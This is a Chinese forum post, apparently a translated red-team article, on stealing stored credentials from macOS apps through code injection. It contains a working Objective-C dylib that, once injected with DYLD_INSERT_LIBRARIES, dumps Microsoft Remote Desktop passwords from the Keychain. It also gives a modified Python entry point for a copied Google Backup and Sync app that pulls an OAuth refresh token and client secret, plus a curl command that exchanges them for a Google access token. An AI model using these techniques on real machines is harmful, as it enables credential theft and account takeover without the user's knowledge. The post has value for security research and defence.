电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2564 人浏览分享

拿起Mac来渗透:恢复凭证

[复制链接]
2564 0
本帖最后由 zhaorong 于 2020-5-15 14:56 编辑

介绍
获取凭证信息是红队的常用套路,因为这些凭证可横向移动的一把好手。网上很多用Windows
进行凭据恢复的研究随着渗透人员经济条件越来越好,各位师傅都换上了Mac(馋.jpg)
所以这篇文章中,我们将探讨如何通过代理应用程序进行代码注入来访问MacOS第三方应
用程序中存储的凭据,包括Microsoft远程桌面和Google云端硬盘的案例研究。

Microsoft远程桌面

使用远程桌面应用程序时注意它都具有一个保存RDP会话凭据的功能如下所示:

1582614201_5e54c6b9dec5e.png

这些会话的已存储凭据在应用程序中

1582614202_5e54c6ba07812.png

发现这些凭据的第一步是探索应用程序的沙箱容器,使用命令grep -ir contoso.com查看Prefere
nces / com.microsoft.rdc.mac.plistplist文件中包含的字符串。使用plutil -convert xml1 Prefe
rences / com.microsoft.rdc.mac.plist将其转换为纯文本,我们看看:

1582614202_5e54c6ba20ee7.png

在plist文件中我们可以找到有关凭证的各种详细信息 但不幸的是 没有明文密码 如果这么简单那就太好了。
下一步是在反汇编程序中打开“远程桌面”应用程序。
基于以上所述,我们知道已保存的条目在应用程序中被称为书签。

1582614202_5e54c6ba4bf8d.png

我们查下KeychainCredentialLoader::getPasswordForBookmark()方法 我们可以看到 除其他外
它调用了一个名为getPassword()的方法:

98.png

在getPassword()内部,它尝试通过调用findPasswordItem()方法来发现Keychain该方法使用
SecKeychainSearchCreateFromAttributes()来找到相关的Keychain并最终复制出其内容:

97.png

基于所学知识 我们现在了解到RDP会话的密码存储在Keychain中 我们可以使用Keychain access应用程序对此进行确认:

39.png

但是 如果没有提权 我们无法访问已保存的密码。

找回密码

查看“访问控制”选项卡 我们可以看到Microsoft Remote Desktop.app被授予了对
此项目的访问权限,并且不需要Keychain密码即可执行此操作:

38.png

回到我们最初的理论,如果我们可以注入到应用程序中,那么我们可以从Keychain中检索此密码 但是 在MacOS
上进行代码注入并不是一件容易的事,并且当适当的安全控制措施到位(即SIP和适当的权利或启用了hardened
runtime)时,Apple已经将其锁定了。这些选项可防止注入未经Apple签名或与应用程序相同的团队ID的库。

对我们来说幸运的是,使用codesign -dvvv –entitlements进行了验证:/Applications/Microsoft\ Rem
ote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop我们发现没有这样的保护措施意味
着我们可以很好地使用-known DYLD_INSERT_LIBRARIES技术注入我们的动态库。

一个简单的dylib 用于根据发现的书签搜索“Keychain”项 如下所示:
  1. #import "hijackLib.h"
  2. @implementation hijackLib :NSObject
  3. -(void)dumpKeychain {
  4.     NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
  5.     (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
  6.     (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
  7.     (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
  8.     @"dc.contoso.com", (__bridge id)kSecAttrLabel,
  9.     (__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
  10.     nil];
  11.     NSDictionary *keychainItem = nil;
  12.     OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
  13.     if(status != noErr)
  14.     {
  15.         return;
  16.     }
  17.     NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
  18.     NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
  19.     NSLog(@"%@", password);
  20. }
  21. @end
  22. void runPOC(void) {
  23.     [[hijackLib alloc] dumpKeychain];
  24. }
  25. __attribute__((constructor))
  26. static void customConstructor(int argc, const char **argv) {
  27.     runPOC();
  28.     exit(0);
  29. }
复制代码

编译该库并通过DYLD_INSERT_LIBRARIES注入我们可以查看存储在Keychain中的纯文本密码:

37.png


Google云端硬盘

前面的示例相对来说比较琐碎 因为远程桌面应用程序未包含任何运行时保护措
施以防止未经授权的代码注入让我们看另一个例子。
如果我们查看Google云端硬盘应用程序的元数据和权利我们可以看到该应用程序使用了hardened runtime:
  1. $ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Co
  2. ntents/MacOS/Backup and Sync'
  3. Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
  4. Identifier=com.google.GoogleDrive
  5. Format=app bundle with Mach-O thin (x86_64)
  6. CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded
复制代码

Apple介绍:

hardened runtime与系统完整性保护(SIP)一起通过防止某些类型的利用 例如代码注入 动态
链接库(DLL)劫持和进程内存空间篡改来保护软件的运行时完整性。

我的同事亚当·切斯特(Adam Chester)之前曾谈到过,当这些保护措施不到位时 如何实现向代理应用程序
的代码注入,但是在这种情况下,hardened runtime意味着如果我们尝试使用亚当描述的先前的DYLD_IN
SERT_LIBRARIES或Plugins技术,将失败,我们将无法再使用加载程序将其注入该进程。但是有替代路线吗?
仔细研究Google云端硬盘应用,我们会在该应用的Info.plist中发现以下内容:

  1. <key>PyRuntimeLocations</key>
  2.     <array>
  3. <string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
  4.     </array>
复制代码
我们还注意到/ Applications / Backup和Sync.app/Contents/MacOS文件夹中的其他Python二进制文件:
  1. -rwxr-xr-x@  1 dmc  staff  49696 23 Dec 04:00 Backup and Sync
  2. -rwxr-xr-x@  1 dmc  staff  27808 23 Dec 04:00 python
复制代码

因此,这里发生的是Google Drive的 备份和同步 应用程序实际上是基于python的应
用程序可能使用py2app或类似程序进行了编译。
让我们看看这是否为我们提供了执行代码注入的机会。

分析

查看该应用程序 我们发现唯一的python源文件是./Resources/main.py 它执行以下操作:
  1. from osx import run_googledrive
  2. if __name__ == "__main__":
  3.   run_googledrive.Main()
复制代码

不幸的是,我们不能修改该文件 因为它位于受SIP保护的目录中 但是 我们只需将整个应用程序复制
到一个可写的文件夹中 它将保持相同的权利和代码签名;我们将其复制到/tmp。
使用/tmp文件夹中的应用程序副本 我们编辑main.py来试试是否可以修改:
  1. if __name__ == "__main__":
  2.   print('hello hackers')
  3.   run_googledrive.Main()
复制代码
运行该应用程序我们可以看到我们已经执行了Python:
  1. /t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
  2. /tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.
  3. py:16633: UserWarning: wxPython/wxWidgets release number mismatch
  4. hello hackers
  5. 2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDele
  6. tegate.py : Finder debug level logs : False
  7. 2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle
  8. path during launch: /tmp/Backup and Sync.app
复制代码
既然我们知道可以在代码签名无效的情
况下执行任意python 是否可以以某种方式滥用它?

滥用 Surrogate

通过查看Keychain 我们发现该应用程序已存储了多个项目包括以下标记为应用程序密码的项目
设置访问控制以便Google云端硬盘应用无需身份验证即可恢复该访问控制:

36.png

让我们看看如何使用替代应用程序来恢复它。
回顾该应用程序如何加载其Python软件包,我们在./Resources/lib/python2.7/site-packages.zip
中发现了捆绑的site-packages资源,如果我们对此进行解压缩,则可以了解发生了什么。

对 keychain 执行初始搜索会发现几个包含字符串的模块 包括osx / storage / keychain.pyo和o
sx / storage / system_storage.pyo;我们感兴趣的一个是system_storage.pyo,keychain.p
yo这是keychain_ext.so共享库的Python接口它提供了本地访问以访问Keychain。
反编译并查看system_storage.pyo,我们发现以下内容:
  1. from osx.storage import keychain
  2. LOGGER = logging.getLogger('secure_storage')
  3. class SystemStorage(object):
  4.     def __init__(self, system_storage_access=None):
  5.         pass
  6.     def StoreValue(self, category, key, value):
  7.         keychain.StoreValue(self._GetName(category, key), value)
  8.     def GetValue(self, category, key):
  9.         return keychain.GetValue(self._GetName(category, key))
  10.     def RemoveValue(self, category, key):
  11.         keychain.RemoveValue(self._GetName(category, key))
  12.     def _GetName(self, category, key):
  13.         if category:
  14.             return '%s - %s' % (key, category)
  15.         return key
复制代码
考虑到这一点让我们修改main.py以尝试从Keychain中检索凭证:
  1. from osx import run_googledrive
  2. from osx.storage import keychain
  3. if __name__ == "__main__":
  4.   print('[*] Poking your apps')
  5.   key = “xxxxxxxxx@gmail.com"
  6.   value = '%s' % (key)
  7.   print(keychain.GetValue(value))
  8.   #run_googledrive.Main()
复制代码

这次 当我们运行该应用程序时我们获得了一些似乎是base64编码的数据:
8.png

让我们更深入地了解这是什么以及我们是否可以使用它。
搜索在secure_storage.SecureStorage类是用于我们找到了TokenStorage类包括方法:
  1. def FindToken(self, account_name, category=Categories.DEFAULT):
  2.     return self.GetValue(category.value, account_name)
复制代码
所述TokenStorage类则内
使用公共/ AUTH / oauth_utils.pyo在模块LoadOAuthToken方法:
  1. def LoadOAuthToken(user_email, token_storage_instance, http_client):
  2.    if user_email is None:
  3.        return
  4.     else:
  5.         try:
  6.   token_blob = token_storage_instance.FindToken(user_email)
  7.   if token_blob is not None:
  8.   return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)
复制代码

看一下oauth2_toke.GoogleDriveOAuth2Token.FromBlob方法我们可以看到发生了什么:
  1. @staticmethod
  2. def FromBlob(http_client, blob):
  3.     if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
  4.         raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
  5.     parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
  6.     if len(parts) != 4:
  7.         raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
  8.     refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
复制代码

我们从Keychain中恢复的Blob令牌 client_id和client_secret等的base64副本 我们可以使用以下方法恢复它们:
  1. import base64
  2. _BLOB_PREFIX = '2G'
  3. blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|我是猪!我是猪!AA='
  4. parts = blob[len(_BLOB_PREFIX):].split('|')
  5. refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
  6. print(refresh_token)
  7. print(client_id)
  8. print(client_secret)
复制代码
然后 刷新令牌可用于请求新的访问令牌 以提供用户身份访问Google帐户:
  1. $ curl https://www.googleapis.com/oauth2/v4/token \-d client_id=111111
  2. 11111.apps.googleusercontent.com \
  3. -d client_secret=XXXXXXXXXXXXX \
  4. -d refresh_token=‘1/YYYYYYYYYYYYY' \
  5. -d grant_type=refresh_token
  6. {
  7.   "access_token": “xxxxx.我是猪!a.我是猪!b.ccccc",
  8.   "expires_in": 3599,
  9.   "scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.co
  10. m/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.go
  11. ogleapis.com/auth/contactstore.readonly",
  12.   "token_type": "Bearer"
  13. }
复制代码

结论
在这项研究中 介绍如何通过滥用代码注入替代应用程序来从MacOS设备的Keychain中恢复凭证
而无需提升权限尽管Apple提供了一些保护措施来限制代码注入但是当利用已经具有访问存储
资源所需权限的代理应用程序时这些保护措施并不总是完全有效的。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.